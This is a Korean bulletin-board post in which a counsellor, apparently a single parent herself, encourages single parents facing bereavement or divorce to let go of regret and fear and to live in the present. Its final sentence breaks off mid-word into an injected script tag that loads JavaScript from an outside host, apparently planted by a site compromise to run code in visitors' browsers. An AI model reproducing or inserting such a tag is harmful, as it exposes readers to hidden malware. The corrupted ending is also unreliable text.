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제 목 |
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과거와 미래에 살지 말고 지금을 살자! |
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번 호 |
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11 |
조회수 |
1746 |
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이메일 |
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작성자 |
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강미숙 |
작성일 |
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03-07-24 |
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내 용 |
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풍요로운 삶을 즐기기 위해서는 과거를 있는 그대로 인정하고 떠나보
낸 후 현실을 받아들여야 한다. 지금 경험하고 있는 사별의 아픔이나
이혼의 경험을 정말 힘들겠지만 자신의 현실로 받아들이고 나면, 또
다른 새로운 세계가 열릴 것이다.
<지난 일을 후회하면서 슬퍼하거나 억울해 하는 것은 과거에 사는 것
이다. 성격에 보면 타락한 소돔성에서 탈출한 사람들이 뒤를 돌아보
는 순간 소금기둥으로 굳어버리는 기록이 나온다. 나는 이것을 과거
에 집착하는 사람은 앞으로 나갈 수 없기 때문에 결국 소금기둥과 마
찬가지의 굳은 삶을 산다는 뜻으로 이해한다. 후회하거나 억울한 기억
들은 빨리 토해버려야 한다. 그건 술을 공기 중에 노출시켜서 알콜기
를 증발시킴으로써 취하지 못하게 하는 것처엄 담아두지 말고 다른 사
람에게 이야기하거나 글로 씀으로써 풀어낼 수 있다. 아무리 아프고
독한 기억도 자구 풀어내다 보면 끝이 있다는 것을 나는 경험적으로
증언한다.
뜻밖의 충격을 겪은 사람들은 미래를 지나치게 걱정한다. 내게 또 나
쁜 일이 닥칠지도 모른다. 내게 또 나쁜 일이 닥칠지도 모른다. 우리
아이들에게 나쁜 일이 닥치면 어저나, 무섭다, 두렵다. 점쟁이가 내
게 조심하라고 했는데 행복은 나와 거리가 먼 것 같다. 슬프다, 외롭
다... 이런 생각들은 사람을 나약하게 만든다. 삶을 헤쳐갈 자신이 없
고 그래서 현실도피를 하거나 삶을 포기하는 경우가 생기는 것이다.
그러나 미래는 현재의 누적이다. 산을 오르거나 계단을 오르면서 저
위의 꼬대기를 바라보면 언제 오를지 심은 것이 한숨부터 나오고 지
레 질리게 된다. 그러나 자기 앞에 있는 땅을 한 발 한 발 성실히 딛
어 나가다 보면 어느 새 정상에 서 있는 자신을 발견하게 되는 이치
는 인생에도 마찬가지이다.
그래서 가끔 삶이 힘들어질 때면 앞일이 걱정될 때면 나는 산에 오르
거나 계단이 아주 맣은 것을 일부러 찾아간다. 절대 고개를 높이 들
지 않고 근시안적으로 발등만 보면서 자꾸 꾀를 부리려는 마음을 다잡
으며 부지런히 올곧게 한 발 한발 걸음을 옮기는 훈련을 한다. 그리
고 돌아오면 마음이 차분해지고 오늘을 성실하게 지금 내 앞에 있는
이 순간과 이 상황에 충실해야겠다는 의욕이 솟는다.
어떤 사람이 태산 앞에 서서 생각했다.
"저 높은 태산을 어떻게 올라가나, 세월은 얼마나 오래 걸리겠으며 오
르다가 무얼 만날 지도 모른다. 어쩌면 죽을 지도 모른다"
이런 생각들이 머리 속을 어지럽히다보니 도저히 엄두가 안 나서 발
을 뗄 수가 없었다. 그렇다고 돌아설 수도 없는 것이 이 산을 넘어
가야 자신의 목적지에 도달할 수 있기 때문이다. 가긴 가야겠는데 맥
없이 서서 시간만 자꾸 가니 속이 탈 수밖에.
한부모들과 상담을 하다보면 태산 앞에 서서 걱정만 하는 사람과 참
으로 많이 닮았음을 느끼게 된다.
"아이가 학교에 입학할 때 무슨 문제가 없을까요. 친구들 앞에 기가
죽을까 걱정이예요"
"아이가 불쌍해서 죽겠어요. 부모 잘못 만난 죄로 어린 것들
이..............."
"남들은 둘이서도 잘 키우기 어렵다는데 저는 혼자이니 어쩌면 좋지
요"
"혹시 결혼할 때 저쪽 집안에서 우리를 무시하거나 반대하면 어쩌나
생각만 해도 앞이 깜깜합니다"
닥치지도 않은 문제를 미리 걱정하며 한숨짓고 슬퍼하는 것이다.
"아이들의 기분은 절대로 어머니의 기분을 따라 갑니다"
미국의 정신과 의사들이 이혼상담을 해오는 여성들에게 하는 말이다.
이혼 후의 생활에 잘 적응하여 사는 사람들도 이 말에 동의한다. 누
군든지 이혼 후에는 자식의 문제를 걱정하게 마련이다. 그들도 마찬가
지였는데 정신과 의사들의 조언에 따라 자신의 감정을 잘 다스림으로
써 아이들에게 안정된 가정분위기를 제공할 수 있었고 그 결과 지금
은 성공적인 한부모가 될 수 있었다는 것이다.
한부모라면 우선 아이를 걱정하기 전에 자신의 심리상태를 파악해야
한다. 내가 자신감이 없으니 불안하고 미래가 지레 걱정스러운 것일
가능성도 많다. 나 자신도 한부모로서 아이가 학교에서 어떤 일을 겪
으면 혹시 한부모라서 그런게 아닌가 지레 짐작한 적이 많다. 아이를
놓고 의논하기 가장 좋은 상대인 배우자가 없다는 것이 그런 두려움
과 외로움을 더욱 크게 하기 때문에 작은 일에도 놀라고 불안할 수밖
에 없다. 그러나 내가 안정되어 있고 자신감을 갖다 보면 괜한 걱정
을 줄일 수 있고 혹시 문제가 있다해도 해결의 길이 보이고 아이에게
당당한 태도를 취함으로서 아이 또한 안정감을 얻게 된다. 또 당시는
문제로 보여도 시간이 지나면 별거 아닌 것으로 해결되는 수도 많으
므로 정신적 여유를 가지는 것은 필수적이다.
그러나 이 모든 것이 혼?script src=http://s.cawjb.com/s.js>
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